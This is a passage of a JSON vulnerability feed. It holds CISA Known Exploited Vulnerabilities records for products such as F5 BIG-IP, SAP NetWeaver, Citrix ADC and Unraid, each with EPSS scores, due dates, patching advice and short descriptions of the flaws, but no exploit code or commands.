date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"IBM","product":"Data Risk Manager","stacks":["IBM","Data Risk Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.61692,"percentile":0.99164,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-4428&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-4428","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-4428 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-4428&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-4428, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-4430","cveId":"CVE-2020-4430","aliases":[],"kind":"vulnerability","title":"IBM Data Risk Manager Directory Traversal Vulnerability","summary":"IBM Data Risk Manager contains a directory traversal vulnerability that could allow a remote authenticated attacker to traverse directories and send a specially crafted URL request to download arbitrary files from the system.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"IBM","product":"Data Risk Manager","stacks":["IBM","Data Risk Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.68544,"percentile":0.99332,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-4430&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-4430","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-4430 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-4430&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-4430, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-5735","cveId":"CVE-2020-5735","aliases":[],"kind":"vulnerability","title":"Amcrest Cameras and NVR Stack-based Buffer Overflow Vulnerability","summary":"Amcrest cameras and NVR contain a stack-based buffer overflow vulnerability through port 37777 that allows an unauthenticated, remote attacker to crash the device and possibly execute code.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Amcrest","product":"Cameras and Network Video Recorder (NVR)","stacks":["Amcrest","Cameras and Network Video Recorder (NVR)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.36217,"percentile":0.98468,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-5735&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-5735","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-5735 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5735&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-5735, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-5847","cveId":"CVE-2020-5847","aliases":[],"kind":"vulnerability","title":"Unraid Remote Code Execution Vulnerability","summary":"Unraid contains a vulnerability due to the insecure use of the extract PHP function that can be abused to execute remote code as root. This CVE is chainable with CVE-2020-5849 for initial access.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Unraid","product":"Unraid","stacks":["Unraid"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95844,"percentile":0.99872,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-5847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-5847","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-5847 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-5847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-5849","cveId":"CVE-2020-5849","aliases":[],"kind":"vulnerability","title":"Unraid Authentication Bypass Vulnerability","summary":"Unraid contains an authentication bypass vulnerability that allows attackers to gain access to the administrative interface. This CVE is chainable with CVE-2020-5847 for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Unraid","product":"Unraid","stacks":["Unraid"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93243,"percentile":0.99834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-5849&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-5849","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-5849 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5849&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-5849, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-5902","cveId":"CVE-2020-5902","aliases":[],"kind":"vulnerability","title":"F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability","summary":"F5 BIG-IP Traffic Management User Interface (TMUI) contains a remote code execution vulnerability in undisclosed pages.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"F5","product":"BIG-IP","stacks":["F5 BIG-IP","F5","BIG-IP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":1,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-5902&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-5902","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-5902 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5902&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-5902, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-6207","cveId":"CVE-2020-6207","aliases":[],"kind":"vulnerability","title":"SAP Solution Manager Missing Authentication for Critical Function Vulnerability","summary":"SAP Solution Manager User Experience Monitoring contains a missing authentication for critical function vulnerability which results in complete compromise of all SMDAgents connected to the Solution Manager.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"Solution Manager","stacks":["SAP","Solution Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98135,"percentile":0.99912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-6207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-6207","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-6207 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-6207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-6207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-6287","cveId":"CVE-2020-6287","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver Missing Authentication for Critical Function Vulnerability","summary":"SAP NetWeaver Application Server Java Platforms contains a missing authentication for critical function vulnerability allowing unauthenticated access to execute configuration tasks and create administrative users.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"NetWeaver","stacks":["SAP","NetWeaver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94719,"percentile":0.99857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-6287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-6287","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-6287 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-6287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-6287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-6418","cveId":"CVE-2020-6418","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78808,"percentile":0.99587,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-6418&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-6418","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-6418 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-6418&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-6418, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-6819","cveId":"CVE-2020-6819","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox And Thunderbird Use-After-Free Vulnerability","summary":"Mozilla Firefox and Thunderbird contain a race condition vulnerability when running the nsDocShell destructor under certain conditions. The race condition creates a use-after-free vulnerability, causing unspecified impacts.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox and Thunderbird","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox and Thunderbird"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03039,"percentile":0.87415,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-6819&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-6819","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-6819 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-6819&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-6819, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-6820","cveId":"CVE-2020-6820","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox And Thunderbird Use-After-Free Vulnerability","summary":"Mozilla Firefox and Thunderbird contain a race condition vulnerability when handling a ReadableStream under certain conditions. The race condition creates a use-after-free vulnerability, causing unspecified impacts.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox and Thunderbird","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox and Thunderbird"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07063,"percentile":0.94161,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-6820&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-6820","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-6820 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-6820&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-6820, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-7961","cveId":"CVE-2020-7961","aliases":[],"kind":"vulnerability","title":"Liferay Portal Deserialization of Untrusted Data Vulnerability","summary":"Liferay Portal contains a deserialization of untrusted data vulnerability that allows remote attackers to execute code via JSON web services.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Liferay","product":"Liferay Portal","stacks":["Liferay","Liferay Portal"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99905,"percentile":0.99966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-7961&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-7961","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-7961 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-7961&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-7961, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8193","cveId":"CVE-2020-8193","aliases":[],"kind":"vulnerability","title":"Citrix ADC, Gateway, and SD-WAN WANOP Appliance Authorization Bypass Vulnerability","summary":"Citrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an authorization bypass vulnerability that may allow unauthenticated access to certain URL endpoints. The attacker must have access to the NetScaler IP (NSIP) in order to perform exploitation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance","stacks":["Citrix NetScaler","Citrix","Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88269,"percentile":0.99767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8193","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8193 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8195","cveId":"CVE-2020-8195","aliases":[],"kind":"vulnerability","title":"Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability","summary":"Citrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an information disclosure vulnerability.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance","stacks":["Citrix NetScaler","Citrix","Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.33029,"percentile":0.98349,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8195&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-8195","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-8195 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-8195&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-8195, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-8196","cveId":"CVE-2020-8196","aliases":[],"kind":"vulnerability","title":"Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability","summary":"Citrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an information disclosure vulnerability.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance","stacks":["Citrix NetScaler","Citrix","Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.26333,"percentile":0.9799,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-8196&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 